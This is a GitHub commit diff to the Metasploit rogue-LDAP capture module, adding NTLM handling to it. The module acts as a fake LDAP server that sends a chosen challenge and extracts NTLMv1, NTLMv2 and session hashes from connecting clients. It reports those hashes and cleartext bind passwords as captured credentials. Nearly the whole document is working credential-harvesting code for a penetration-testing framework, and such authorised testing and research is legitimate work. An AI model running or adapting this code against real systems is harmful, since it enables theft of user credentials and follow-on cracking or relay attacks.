Skip to content

Commit

Permalink
changes-to-support-ntlm
Browse files Browse the repository at this point in the history
  • Loading branch information
JustAnda7 committed Sep 20, 2023
1 parent 6b5fff6 commit 6972a91
Showing 1 changed file with 244 additions and 20 deletions.
264 changes: 244 additions & 20 deletions modules/auxiliary/server/capture/ldap.rb
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,9 @@
##
require 'net/ldap'
require 'net/ldap/dn'
NTLM_CONST = Rex::Proto::NTLM::Constants
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
MESSAGE = Rex::Proto::NTLM::Message

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
Expand Down Expand Up @@ -36,20 +39,32 @@ def initialize(info = {})
register_options(
[
OptAddress.new('SRVHOST', [ true, 'The localhost to listen on.', '0.0.0.0' ]),
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', '389' ])
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', '389' ]),
OptString.new('CHALLENGE', [ true, 'The 8 byte challenge', Rex::Text.rand_text_alphanumeric(16) ])
]
)

deregister_options('LDIF_FILE')

register_advanced_options(
[
OptString.new('Domain', [ false, 'The default domain to use for NTLM authentication', 'DOMAIN']),
OptString.new('Server', [ false, 'The default server to use for NTLM authentication', 'SERVER']),
OptString.new('DnsName', [ false, 'The default DNS server name to use for NTLM authentication', 'SERVER']),
OptString.new('DnsDomain', [ false, 'The default DNS domain name to use for NTLM authentication', 'example.com']),
OptBool.new('ForceDefault', [ false, 'Force the default settings', false]),
OptPath.new('LDIF_FILE', [ false, 'Directory LDIF file path'])
]
)
end

def run
if datastore['CHALLENGE'].to_s =~ /^([a-zA-Z0-9]{16})$/
@challenge = [ datastore['CHALLENGE'] ].pack('H*')
else
print_error('CHALLENGE syntax must match 1122334455667788') # generate a random by module
return
end
exploit
end

Expand All @@ -61,7 +76,8 @@ def on_dispatch_request(client, data)
state[client] = {
name: "#{client.peerhost}:#{client.peerport}",
ip: client.peerhost,
port: client.peerport
port: client.peerport,
service_name: 'ldap'
}

data.extend(Net::BER::Extensions::String)
Expand Down Expand Up @@ -121,26 +137,86 @@ def on_dispatch_request(client, data)
state[client][:domain] = nil
result_code = Net::LDAP::ResultCodeInvalidCredentials
end
state[client][:private] = user_login.authentication
state[client][:private_type] = :password
unless state[client][:user].empty? && state[client][:private].empty?
report_cred(state[client])
end
result_message = "LDAP Login Attempt => From:#{state[client][:name]} Username:#{state[client][:user]} Password:#{state[client][:pass]}"
result_message += " Domain:#{state[client][:domain]}" if state[client][:domain]
print_good(result_message)
elsif user_login.authentication[0] == 'GSS-SPNEGO'
if user_login.authentication[1] =~ /NTLMSSP/
message = user_login.authentication[1]

if message[8, 1] == "\x01"
domain = datastore['Domain']
server = datastore['Server'] # parse the domain and everythingfrom the type 1 received
dnsname = datastore['DnsName']
dnsdomain = datastore['DnsDomain']
dom, ws = parse_type1_domain(message)
if dom
domain = dom
end
if ws
server = ws
end
mess1 = Rex::Text.encode_base64(message)
hsh = MESSAGE.process_type1_message(mess1, @challenge, domain, server, dnsname, dnsdomain)
chalhash = Rex::Text.decode_base64(hsh)
response = encode_ldapsasl_response(
pdu.message_id,
Net::LDAP::ResultCodeSaslBindInProgress,
'',
'',
chalhash,
Net::LDAP::PDU::BindResult
)
on_send_response(client, response)
return
elsif message[8, 1] == "\x03"
arg = {}
mess2 = Rex::Text.encode_base64(message)
domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(mess2)
nt_len = ntlm_hash.length

if nt_len == 48 # lmv1/ntlmv1 or ntlm2_session
arg = {
ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE,
lm_hash: lm_hash,
nt_hash: ntlm_hash
}

if arg[:lm_hash][16, 32] == '0' * 32
arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
end
elsif nt_len > 48 # lmv2/ntlmv2
arg = {
ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE,
lm_hash: lm_hash[0, 32],
lm_cli_challenge: lm_hash[32, 16],
nt_hash: ntlm_hash[0, 32],
nt_cli_challenge: ntlm_hash[32, nt_len - 32]
}
elsif nt_len == 0
print_status("Empty hash from #{host} captured, ignoring ... ")
else
print_status("Unknown hash type from #{host}, ignoring ...")
end
unless arg.nil?
arg[:user] = user
arg[:domain] = domain
arg = arg.merge(state[client])
arg = process_ntlm_hash(arg)
report_cred(arg)
end
result_code = Net::LDAP::ResultCodeAuthMethodNotSupported if result_code.nil?
end
end
else
state[client][:user] = ''
state[client][:domain] = nil
end

state[client][:pass] = user_login.authentication

unless state[client][:user].empty? && state[client][:pass].empty?
report_cred(
ip: state[client][:ip],
port: client.localport,
service_name: 'ldap',
user: state[client][:user],
password: state[client][:pass],
domain: state[client][:domain]
)
end
result_message = "LDAP Login Attempt => From:#{state[client][:name]} Username:#{state[client][:user]} Password:#{state[client][:pass]}"
result_message += " Domain:#{state[client][:domain]}" if state[client][:domain]
print_good(result_message)
result_code = Net::LDAP::ResultCodeAuthMethodNotSupported if result_code.nil?
service.encode_ldap_response(
pdu.message_id,
Expand Down Expand Up @@ -191,6 +267,122 @@ def on_dispatch_request(client, data)
end
end

def process_ntlm_hash(arg = {})
ntlm_ver = arg[:ntlm_ver]
lm_hash = arg[:lm_hash]
nt_hash = arg[:nt_hash]
unless ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE || ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
lm_cli_challenge = arg[:lm_cli_challenge]
nt_cli_challenge = arg[:nt_cli_challenge]
end
domain = Rex::Text.to_ascii(arg[:domain])
user = Rex::Text.to_ascii(arg[:user])
host = arg[:name]

captured_time = Time.now.to_s
case ntlm_ver
when NTLM_CONST::NTLM_V1_RESPONSE
if NTLM_CRYPT.is_hash_from_empty_pwd?({
hash: [nt_hash].pack('H*'),
srv_challenge: @challenge,
ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE,
type: 'ntlm'
})
print_status('NLMv1 Hash correspond to an empty password, ignoring ... ')
return
end
if lm_hash == nt_hash || lm_hash == '' || lm_hash =~ /^0*$/
lm_hash_message = 'Disabled'
elsif NTLM_CRYPT.is_hash_from_empty_pwd?({
hash: [lm_hash].pack('H*'),
srv_challenge: @challenge,
ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE,
type: 'lm'
})
lm_hash_message = 'Disabled (from empty password)'
else
lm_hash_message = lm_hash
end

capture_message =
"#{captured_time}\nLDAP Login Attempt(NTLMv1 Response) => From #{host} \n" \
"USER: #{user} \tLMHASH:#{lm_hash_message || '<NULL>'} \tNTHASH:#{nt_hash || '<NULL>'}\n"
capture_message += " Domain:#{domain}" if domain
hash = [
lm_hash || '0' * 48,
nt_hash || '0' * 48
].join(':').gsub(/\n/, '\\n')
arg[:private] = hash
when NTLM_CONST::NTLM_V2_RESPONSE
if NTLM_CRYPT.is_hash_from_empty_pwd?({
hash: [nt_hash].pack('H*'),
srv_challenge: @challenge,
cli_challenge: [nt_cli_challenge].pack('H*'),
user: user,
domain: domain,
ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE,
type: 'ntlm'
})
print_status('NTLMv2 Hash correspond to an empty password, ignoring ... ')
return
end
if (lm_hash == '0' * 32) && (lm_cli_challenge == '0' * 16)
lm_hash_message = 'Disabled'
elsif NTLM_CRYPT.is_hash_from_empty_pwd?({
hash: [lm_hash].pack('H*'),
srv_challenge: @challenge,
cli_challenge: [lm_cli_challenge].pack('H*'),
user: user,
domain: domain,
ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE,
type: 'lm'
})
lm_hash_message = 'Disabled (from empty password)'
else
lm_hash_message = lm_hash
end

capture_message =
"#{captured_time}\nLDAP Login Attempt(NTLMv2 Response) => From #{host} \n" \
"USER: #{user} \tLMHASH:#{lm_hash_message || '<NULL>'}\tNTHASH:#{nt_hash || '<NULL>'} "
capture_message += " DOMAIN: #{domain}" if domain
hash = [
lm_hash || '0' * 32,
nt_hash || '0' * 32
].join(':').gsub(/\n/, '\\n')
arg[:private] = hash
when NTLM_CONST::NTLM_2_SESSION_RESPONSE
if NTLM_CRYPT.is_hash_from_empty_pwd?({
hash: [nt_hash].pack('H*'),
srv_challenge: @challenge,
cli_challenge: [lm_hash].pack('H*')[0, 8],
ntlm_ver: NTLM_CONST::NTLM_2_SESSION_RESPONSE,
type: 'ntlm'
})
print_status('NTLM2_session Hash correspond to an empty password, ignoring ... ')
return
end

capture_message =
"#{captured_time}\nLDAP Login Attempt(NTLM2_SESSION Response) => From #{host} \n" \
"USER: #{user} \tNTHASH:#{nt_hash || '<NULL>'}\n"
capture_message += " DOMAIN: #{domain}" if domain
hash = [
lm_hash || '0' * 48,
nt_hash || '0' * 48
].join(':').gsub(/\n/, '\\n')
arg[:private] = hash
else
return
end

print_good(capture_message)
arg[:domain] = domain
arg[:user] = user
arg[:private_type] = :ntlm_hash
arg
end

def report_cred(opts)
service_data = {
address: opts[:ip],
Expand All @@ -204,8 +396,8 @@ def report_cred(opts)
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
private_data: opts[:private],
private_type: opts[:private_type]
}.merge(service_data)

if opts[:domain]
Expand Down Expand Up @@ -258,6 +450,38 @@ def search_res(filter, msgid, attrflt = :all)
end
end

def encode_ldapsasl_response(msgid, code, dn, msg, creds, tag)
[
msgid.to_ber,
[
code.to_ber_enumerated,
dn.to_ber,
msg.to_ber,
[creds.to_ber].to_ber_contextspecific(7)
].to_ber_appsequence(tag)
].to_ber_sequence
end

def parse_type1_domain(message)
domain = nil
workstation = nil

reqflags = message[12, 4]
reqflags = reqflags.unpack('V').first

if (reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN
dom_len = message[16, 2].unpack('v')[0].to_i
dom_off = message[20, 2].unpack('v')[0].to_i
domain = message[dom_off, dom_len].to_s
end
if (reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION
wor_len = message[24, 2].unpack('v')[0].to_i
wor_off = message[28, 2].unpack('v')[0].to_i
workstation = message[wor_off, wor_len].to_s
end
[domain, workstation]
end

def suitable_response(request)
responses = {
Net::LDAP::PDU::BindRequest => Net::LDAP::PDU::BindResult,
Expand Down

0 comments on commit 6972a91

Please sign in to comment.